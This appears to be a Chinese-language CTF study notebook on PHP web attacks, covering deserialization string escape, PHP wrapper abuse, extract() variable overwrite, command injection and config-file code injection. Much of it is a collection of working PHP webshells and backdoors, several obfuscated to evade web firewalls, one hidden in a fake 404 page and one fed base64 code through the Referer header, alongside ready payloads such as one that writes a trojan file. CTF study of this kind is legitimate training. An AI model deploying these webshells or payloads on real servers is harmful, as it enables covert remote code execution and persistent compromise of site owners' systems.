在 PHP5 最新的 CVS 中(也就是将来要发布的 PHP6),上面对于 string 型数据的序列化方式已经被下面这种所取代,但是 PHP6 仍然支持上面那种序列化方式的反序列化。
新的序列化方式叫做 escaped binary string 方式,这是相对与上面那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S :< length >: " <value> " ;
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 /),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 / 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 / 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。
个人认为这种大 S 方式的序列化没有小 s 方式好,对于反序列化来说,小 s 方式可以获得更快的速度。所以,我认为 PHP6 的这种修改是 PHP6 的一大败笔!如果要在其它语言实现 PHP 序列化,只要支持小 s 方式序列化就可以了,使用大 S 方式序列化,将与目前主流的 PHP4 和 PHP5 不兼容。但是反序列化应该实现大 S 方式的反序列化,这样可以兼容 PHP6 序列化的字符串内容。
看不太懂,以后碰到再说吧。。。
题九中所谓的对象逃逸,就是把本来作为属性值的字符串,让其成为了对象。
前面做过的,是字符串逃逸,现在总结一下这类题型的思路。
题目描述的过程大概是 new一个对象 → 序列化 → 过滤 → 反序列化
过滤可能分为两种情况
题中总会有显示代码的函数,比如file_ge_content()
和readfile()
,触发方式可能是像toString()
这种。假设某个类有两对属性,name1和name2、value1和value2,而要利用的是name2和value2,由于序列化后这两个属性是前后一起的,并且每个属性值的长度固定,所以当value1的值被过滤函数影响改变长度时,反序列化时就会影响到后面name2和value2。如果是字符增加,那么本来是value1的字符串,就会溢出,如果是字符串减少,那么后面的一部分字符串就会被吞掉成为value1的内容
由于序列化后每个属性值的长度固定,所以当value1被过滤改变时,name2和value2就会收到影响。如果是字符增加,那么本来是value1的字符串,就会溢出,如果是字符串减少,那么后面的一部分字符串就会被吞掉成为value1的内容。
分别就这两种情况写一下构造的方法,原理懂了构造起来就很简单了
字符增加
构造我们需要的name2和value2序列化后的字符串1
";s:length1:"name2";s:length2:"value2";}
这段字符串的作用就是闭合上value1最后的"
以及构造我们想要的name2和value2,<value> 两边的引号("")是必须的,但不计算在 <length> 当中
。然后我们需要计算这段字符串的长度,假设是x,那么前面增加的字符的长度就要是x,以第七题为例,我们需要增加的x是34,而每个where
被替换成hacker
只增加一个字符,所以我们就要34个where
(where*34)";s:length1:"name2";s:length2:"value2";}
这个值要放进value1中。这样在反序列化时,value1真实的字符串长度是要比序列化中记录的要长34个,这时我们构造的字符串1就不会被当作value1而是看作name2和value2进行反序列化,当PHP看到;}
时就认定反序列化结束,从而后面原来的name2和value2的序列化字符就会被忽略(如果value中就带有{
,那么会在配对后再认定后面的;}
为结束标志)从而我们自己构造的name2和value2就逃出了vlaue1被反序列化成对的属性和值
字符减少
假设一种极端的情况,就是字符全部过滤
以第九题为例,最后构造出的字符串是
O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:3:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}}
其中,value1就是flagflagflagphpphp
,被过滤后,成为value1的就是其后面的18个字符";s:4:"name";s:3:"
,这样的话这个字符串就变成了
O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"";s:4:"name";s:3:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}}
关于::
php中的::是
调用类中的静态方法或者常量、属性的符号
例如
class aaa{
static function ar(){
}
function br(){
}
}
使用非静态方法,要先创建实例
$obj = new aaa();
$obj -> br();
使用静态方法,无需创建实例,直接使用类名
aaa::ar();
关于parent::
关键字
https://www.jb51.net/article/103354.htm
关于平方等于零
php有一个特性是,**小数点后超过161位做平方运算时会被截断,**我们可以用科学计数法来代替,即1e-162
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a*$a==0){
echo file_get_contents('../flag');
}
extract()
这个函数可以把数组中键和值生成相应的变量,可以用来做变量覆盖。
上代码:
<?php
error_reporting(0);
show_source('./index.php');
include('./flag.php');
$auth = 100;
extract($_GET);
if(isset($_GET)){
if($auth == 1000){
echo $flag;
}else{
echo 'Hello,World!';
}
}else{
echo '你倒是输入点东西...';
}
Payload:
?auth=1000
$__GET
这个预定义变量接收到GET
方式传的参后会转化成数组的形式,var_dump($__GET);
array(1) { ["auth"]=> string(4) "1000" }
PHP伪协议
知识补充:(日后整理一下,B站上搜过没有相关教学视频)
截断的情况
https://blog.csdn.net/weixin_30636089/article/details/99807360
PHP支持的字符编码
https://www.php.net/manual/zh/mbstring.supported-encodings.php
支持的协议和封装协议
https://www.php.net/manual/zh/wrappers.php#wrappers
一个大佬给的思维导图
这些函数会**处理伪协议**(遇到这些函数就要考虑伪协议,支持scheme://...
的格式,PHP会搜索协议处理器或称为封装协议来处理)
file://c:\windows\System32\drivers\etc\hosts
php://filter/read=convert.base64-encode/resource=useless.php
php://filter/resource=useless.php
post
data
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到
base64编码
传输
data://text/plain,welcome to the zjctf(要比较的字符)
data://text/plain;base64,d2VsY29tZSB0byB0aGUgemZjdGY=(要比较字符的base64编码)
php
php://input
# 然后通过Post传递参数
多个伪协议可以使用
&
连接,如 para1=php://input¶2=php://filter/resource=xxx
file_get_contents()
上源代码 :https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
writeup参考:CTF中常用的php伪协议利用
这道题中两次利用伪协议,第一次是在**file_get_content()
函数中使用data
伪协议提交文件内容**,或者使用**php
伪协议提交post数据**
data
php
这里可以刷新页面,同时利用BP抓包,然后右键修改请求方式为POST,在请求正文中输入我们的文件内容
POST /?text=php://input HTTP/1.1
Host: 69717272-5b68-4231-86df-5872f9d83935.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17d315b6a4b62-0322a216110be7-4c3e217e-1bcab9-17d315b6a4c1f8
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
welcome to the zjctf
也可以直接用hackbar
来post
第二次是在文件包含中使用**php
伪协议读取文件**
最后提交时,
file=useless.php
而不是伪协议。伪协议只能读取文件内容不能执行,如果最终payload需要能够执行Flag类中的东西,就必须要被“包含”而不是“被读取”,所以要用file=useless.php实现flag类中的file_get_contents()执行读取flag。
最后由于接收的是序列化后的数值,我们需要提前将要提交的参数值进行序列化。在第一次反序列化中,我们绕过了第一层的检验。第二次反序列化中,我们包含了一个可以读取flag的php文件,从而我们需要构造对象来调用这个类中的函数来读取类中参数值(flag.php)的的内容,这样的话,我们需要写一个这样的类然后调用。。。解释的不是很清楚。。
is_file()
&highlight_file()
如果目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议
可以直接用不带任何过滤器的filter伪协议读取文件数据
file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式读取文件
1. file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
2. file=compress.zlib://flag.php
还有一些其他编码的,可以参考:https://www.php.net/manual/zh/mbstring.supported-encodings.php
echo !(
!(include "flag.php")||(!error_reporting(0))||
stripos($_GET['filename'],'.')||
($_GET['id']!=0)||
(strlen($_GET['content'])<=7)||
(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||
substr($_GET['content'],0,1)=='w'||
(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))
?$flag:str_repeat(highlight_file(__FILE__), 0);
?filename=data://text/plain,welcome2ctfshow&id=0&content=%000000sdfsdafdsafdsfds
上源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if($array[++$a]=1){
if($array[]=1){
echo "nonono";
}else{
echo file_get_contents('../flag');
}
}
本题的考点是数组key溢出
通过PHP创建关联数组的时候,键值Key如果是数值型
(可通过is_numeric()判断)
则会在int有效范围内被自动转换为int型,如果超过int有效范围就会有问题,这就涉及到数组键值Key作为int型时的有效范围判断。
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807。一般来说,我们往数组里插入一个值是可以正常插入的,当我们的数组下标key足够大的时候,如9223372036854775807,这个时候想要再往里面插入元素,就会报错,而这一点正是这道题最内层if语句的考点,这时候往里a传参9223372036854775806
(只能是这个数),要比上面提到的那个数字小1,因为题目是++$a
,先加上1,变成9223372036854775807,然后执行最内层的if时,因为没有地方可以开数组了,就返回NULL
,即false
,这样一来就可以执行else里的语句
这里给出一道题目:
<?php
highlight_file(__FILE__);
$dir = 'sandbox/'.$_SERVER['REMOTE_ADDR'];
if(!file_exists($dir)){
mkdir($dir);
chdir($dir);
}
$args = $_GET['args'];
for($i = 0;$i < count($args);$i++ ){
if(!preg_match('/^\w+$/',$args[$i]){
exit();
}
}
exec("/bin/true".implode(" ".$args));
//implode() 函数返回由数组元素组合成的字符串 https://www.w3school.com.cn/php/func_string_implode.asp
//这里就相当于每一个args元素后面都有一个空格,符合执行命令的格式。
?>
[]
不需要添加键值,会自动添加)?arg[]=1&arg[]=2&arg[]=
/bin/brue
可以执行命令,如果想要执行多行命令,可以通过||
、&&
、;
、\n
这些符号,这里可以fuzz一下看哪些没有被过滤,这里\n
没有被过滤,由于是GET
方式传参,所以要编码为%0a
,我们就可以通过如下方式传参:?args[]=mkdir
&args[]=abc%0a
&args[]=wegt
&args[]=<IP_IN_DECIMAL>%0a
wget
busybox ftpget
可以利用header
重定向到某一个无法识别的文件
wget index.php header 1.zip
注意,路径不要用中文,Apache无法解析中文路径 报错 :Unknown: failed to open stream: No such file or directory in Unknown on line 0
参考:
这是从一个靶场偷的
<?php
function love()
{
global $A;
$A=TT();
eval("\"$A\"");
}
function TT()
{
$a=str_replace('','',$_POST[miyi]);
return '";'.$a.'//';
}
love();
?>
这是过狗一句话总结(key=miyi
)
<?php
$p = array('f'=>'a',
#afffffffff
'pffff'=>'s'/*223* 1*/,
'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
'nnnnn'=>'t'//&$@&(#*(;
);//&$@&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p['pffff'].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'miyi'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>
<?php
/*
PHP一句话木马
assert($string)
*/
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func .= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
<?php
$a = substr("abcdefghijklmnopqrstufwxyz",0,1);
$b = substr("abcdefghijklmnopqrstufwxyz",17,3);
$c = substr("abcdefghijklmnopqrstufwxyz",3,2);
$ss = $a.$b.$c;
$d = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
$x($_POST['miyi']);
?>
//可以自己输入命令,但是蚁剑连不上
下面这些都是博客中的:
<?php assert(@$_POST['a']); ?>
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
<?php
@call_user_func(assert,$_POST['a']);
?>
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
<?php
//gif插一句话
//危险的include函数,直接编译任何文件为php格式运行,POST www.abc.com/index.php?uid=/home/www/bbs/image.gif
include ($uid);
?>
<?php
$filename=$_GET['miyi'];
include ($filename);
?>
<?php
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['miyi'],"Access");
?>
<?php
$test='<?php $a=$_POST['miyi'];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
<?php
$a='assert';
array_map("$a",$_REQUEST);
?>
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST['miyi']);
?>
<?php
$a = "eval";
$a(@$_POST['a']);
?>
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
<?php $_GET[a]($_GET[b]);?>
'''
a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
a=assert&b=${fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]);?>1))};
当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马。可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。
'''
<?=$_POST['a']($_POST['b'])?>
# a=assert&b=phinfo()
<?=$_POST['a']($_POST['b'],$_POST['c'])?>
# a=call_user_func&b=assert&c=phpinfo()
<?php @eval( $_GET[$_GET[b]])>
# b=cmd&cmd=phpinfo();
<script language="php">@eval($_GET[b])</script>
<?php
session_start();
# 如果post过来的参数中存放着code的值,存放在会话$_SESSION['theCode']里面
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>
# code=cGhwaW5mbygp base64_encode(phpinfo();)
<?php @eval(base64_decode('JF9QT1NUWydjJ10='))?>
# $_POST['c']
<?php
$c = $_GET['n'].'t';
@$c($_POST[cmd]);
?>
# GET:n=asser POST:cmd=phpinfo() 分号可有可无
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';
@$c($_POST[cmd]);
?>
# GET:n= POST:cmd=phpinfo();
404页面隐藏PHP小马
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
层级请求,编码运行PHP后门,两个文件实现,2.php
可以构造一个发向1.php
的会话,同时修改请求中的HTTP_REFERER
,传递经过base64
编码的代码交给1.php
执行,达到后门的效果
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
/**
$code = <<<CODE
{$_GET['miyi']};
CODE;
定界符中传参:
https://www.cnblogs.com/zywf/p/4912159.html
*/
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
];
curl_setopt_array($ch, $options);
echo curl_exec($ch);
Parse error: syntax error, unexpected ‘<<’ (T_SL) 将
<<<CODE
和CODE;
后面的空格删除
<meta charset="UTF-8" />
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
特征很明显
利用超全局变量GLOBALS
,传入后变为$GLOBALS
— 引用全局作用域中可用的全部变量
看这一篇就够了 https://www.cnblogs.com/NPFS/p/12721175.html
关于在变量前加&
32位MD5(结果是 大写字母|小写字母)
16位MD5(结果是 大写字母|小写字母)
MD2/MD4
当知道过滤什么字符时,去temper中看看脚本怎么写的
见SQL注入基础(二)
参考
https://www.cnblogs.com/yanze/p/7919662.html
X-Forwarded-For(XFF)
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for
的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP,由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。。一般格式:
X-Forwarded-For: client1, proxy1, proxy2, proxy3
题目类型
我希望你的ip地址在https://www.moectf.online/
这个网站下,并且由https://ctf.show/
这个网站的ip进行代理
X-Forwarded-For: 121.40.68.195,101.34.230.193
简单说就是假如浏览器使用了IP地址代理,这个字段就是最后一跳代理的IP,如果没有IP,就仍然是浏览器的地址。Remote Address
为HTTP请求的源地址,HTTP协议三次握手与发送响应报文时都使用的此地址,因此一旦请求者伪造Remote Address
地址,他将无法收到HTTP响应报文,此时伪造没有任何意义。这也就使得Remote Address
默认具有防篡改的功能。由于XFF可以修改,所以在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。
这个字段我没有见过,从网上搜索是不是http头部字段,也找不到明确的说法。。。就先这样吧
referer
显示来源页面的完整地址,而origin
显示来源页面的协议
+主机名
: protocal
+host
,不包含路径等信息,也就不会包含含有用户信息的敏感内容,referer
存在于所有请求,而origin
只存在于post请求,随便在页面上点击一个链接将不会发送origin,因此origin较referer更安全,多用于防范CSRF攻击。
题目类型
你必须来自39.156.66.18
这个ip下的https域名
Referer: https://www.baidu.com
.htaccess文
件上传SetHandler application/x-httpd-php //解析所有
AddHandler php5-script png
AddType application/x-httpd-php png //后缀中包含png,解析为php文件
<FilesMatch "ajest"> //文件名或者后缀中出现ajest就会解析
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini
文件上传auto_prepend_file
auto_append_file
靶场地址: http://uu0lo9a3.lab.aqlab.cn/
登录config.php
后返现是phpinfo()
页面,提示是config.php文件命令执行,做这道题的前提是已经知道了源码
index.php
<?php
if(!isset($_GET['option'])) die();
# 如果没有传参,那么就退出当前脚本
$str = addslashes($_GET['option']);
# 对传的参数过滤,addslashes会对单引号、双引号、NUL和反斜线转义
$file = file_get_contents('./config.php');
# 获取当前目录下config.php文件的源码赋值给$file
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
# 将$file中$option的值换成我们输入的参数值
file_put_contents('./config.php', $file);
# 一般情况下覆盖式的写入到config.php,$option的值被更新了
config.php
<?php
$option='test';
所以我们需要将一句话木马写入到config.php的话,首先要被addslashes()
过滤,这个函数过滤单引号(')、双引号(")、反斜线(\)与 NUL(null字符)
。然后一句话木马是在两个单引号之间,所以就需要闭合前面的单引号,并且注释掉后面的单引号,格式就是';xxxxx;//
或者';xxxxx;/*
或者;xxxxx;#
Payload
a\';phpinfo();//';
被addslashes()
处理后,变成了
a\\\';phpinfo();//';
**preg_replace
函数在处理字符串的时候,会自动对第二个参数的\
这个字符进行反转移.**WP中写道,如果字符串是 \\\'
,经过 preg_replace()
的处理,就变为 \\'
,第一个反斜线把第二个给转译成普通的反斜线,从而单引号就不会被转义了,前面的单引号也就闭合了.
最后写入到config.php的内容是
<?php
$option='a\\';eval($_REQUEST[8]);//';
中间的一句话就能执行了,eval也可以换成assert,中间可以有多个PHP语句
靶场中直接像上面一样写一句话没有成功,option
参数中如果含有.
、eval
、system
会报错,绕了个圈子才好,但是看源码跟上面给出的一样,不知道是什么原因,可能是防火墙一类
?option=a\%27;highlight_file(__FILE__);$_GET[1]($_GET[2]);//
=> config.php?1=system&2=ls
# 会报错,但是执行了 bin config.php dev etc flag.php home index.php lib media mnt opt proc root run sbin srv sys tmp usr var
?option=a\%27;highlight_file(__FILE__);$_GET[1]($_GET[2]);//
=> config.php?1=highlight_file&2=flag.php
readfile()
函数成功时返回从文件中读的字节数,或者在失败的时候返回flase,所以要用highlight_file()
2022年1月1日BMZCTF中恰好有一道类似的题,G了
index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
function new_addslashes($string) {
# 分别对string和数组的值用new_addslashes过滤
if(!is_array($string)) return addslashes($string);
foreach($string as $key => $val) $string[$key] = new_addslashes($val);
return $string;
}
if(!get_magic_quotes_gpc()) {
# 对每个接收的参数进行addslashes过滤
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
# 如果post传参sudo
$file = __DIR__ .'/config.php';
# file指向当前目录的config.php
require $file;
# 包含config.php
$key = $_POST['info']['name'];
# 传入的info是一个数组,将name键的值赋值给$key
if(!isset($LANG[$key])) {
# 如果没有设置$LANG数组中的$key的值
$content = file_get_contents($file);
$content = substr($content,0,-3);
$data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
# 接收post的值,参数是no1,然后将 $LANG[$_POST['info']['name']] = $_POST[no1]写到config.php的下面一行
file_put_contents($file,$data);
} elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
# 如果存在下标为$key的$LANG数组($key=$_POST['info']['name'];)并且这个数组的值不等于$_POST['no1']
$content = file_get_contents($file);
$content = str_replace($LANG[$key],$_POST['no1'],$content);
# $LANG[$_POST['info']['name']] = $_POST[no1] 注意哦,$LANG[$_POST['info']['name']]是一个值,比如在这道题的poc中,第一次、第三次post的值都是`sudo=1&info[name]=b&no1=\`,第三次传入参数时,$LANG[$_POST['info']['name']]的值是`\`(可以打印看一下),然后就会把所有`\`替换成反斜线转义后的`\\`,这样每个`\`就成对出现了
file_put_contents($file,$content);
}
}
if(isset($_GET['re'])){
# 如果get传参re
file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
//<?php $LANG['member_manage'] = 'admin';?> 写入config.php
访问config.php
没有任何回显,这里跟第一道题不同的就是修改config.php
的函数是**str_replace()
**而不是preg_replace()
。之前的那种利用preg_replace()
反转义的方法就嗝屁了。
这是一个WP https://seizer.top/post/2022-01/BMZCTF/
post:
sudo=1&info[name]=b&no1=\
sudo=1&info[name]=a&no1=';phpinfo();#
sudo=1&info[name]=b&no1=\
config.php
的变化如下:
<?php
$LANG['member_manage'] = 'admin';
$LANG['b'] = '\\';
?>
<?php
$LANG['member_manage'] = 'admin';
$LANG['b'] = '\\';
$LANG['a'] = '\';phpinfo();#';
?>
<?php
$LANG['member_manage'] = 'admin';
$LANG['b'] = '\\\\';
$LANG['a'] = '\\';phpinfo();#';
?>
https://www.cnblogs.com/zpchcbd/p/13590920.html
https://www.chabug.org/ctf/425.html
index.php
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
var_dump($a);
?>
payload
?str=";${${phpinfo()}};//
?str=";{${phpinfo()}};//
这两个的区别无非是第一个有两个Notice,第二个有1一个Notice
eval($str="${${phpinfo()}}";) → 可以执行phpinfo()
${phpinfo()} = {${phpindo()}}
PHP复杂变量{}
不能被转义,其包裹的部分可当作变量 花括号{}
只是用于区别变量边界的标识符
index.php
<?
#GOAL: gather some phpinfo();
function flag(){
echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>
PHP的几种引用
<?php
$a = 10;
$b = $a; //可以理解为赋值
$b = $b + 1;
echo $a; //10
echo "|";
echo $b; //11
echo "<hr />";
$c = &$a;
$c = $c + 1;
echo $a; //11
echo "|";
echo $c; //11
?>
PHP中print_r
和echo()
php中print(),print_r(),echo()的区别详解
关于eval_r
关于fopen
关于<?=?>
https://blog.csdn.net/hsd2012/article/details/51194554
关于PHP7引入的??
和?:
关于类中的var()
变量
var 一般是出现在类中。一般的过程和函数不要 var定义变量.
且它的级别为public。亦不能用任何其它的修饰符。需要注意的是:在成员方法中亦不能这样声明。
\x
、0x
、\u
0x
表示十六进制的整数>>> a = 0x42
>>> type(a)
<class 'int'>
\x
用于字符表达,或者字符串表达。前面的\
表示转义,\x
是16进制,后面跟两位,表示单字节编码>>> a = b'\x42'
>>> type(a)
<class 'bytes'>
>>> a.decode('utf8')
'B'
以上两个都是十六进制的表示,之间的关系用Python表示\xaa = chr(0xaa) = chr(16*a+a)
\d
是十进制,\o
是八进制
\u
是unicode编码,一般后跟4个16进制数,因此一般为unicode-16>>> str = b'\u4f60\u597d'
>>> type(str)
<class 'bytes'>
>>> str.decode('unicode_escape')
'你好'
$assign
view()
$_FILES
basename()
stristr()
move_uploaded_file()
github寻找源码
异或 构造无字母数字一句话
.user.ini 文件上传
多文件 文件上传
namespace
.= 累积
//.=通俗的说,就是累积。
//比如:
$a = 'a'; //赋值
$b = 'b'; //赋值
$c = 'c'; //赋值
$c .= $a;
$c .= $b;
echo $c; 就会显示 cab
spl_autoload_register
伪造client IP以及代理IP地址
error_reporting(0)
请输入三个整数A、B、C,ABC均不可为0,使得:
A3+B3+C3=114
无论是3个数还是2个数的立方还是1个数,都不可能做出来,但是
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 | -2024/12/27 4:44:50- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |
数据统计 |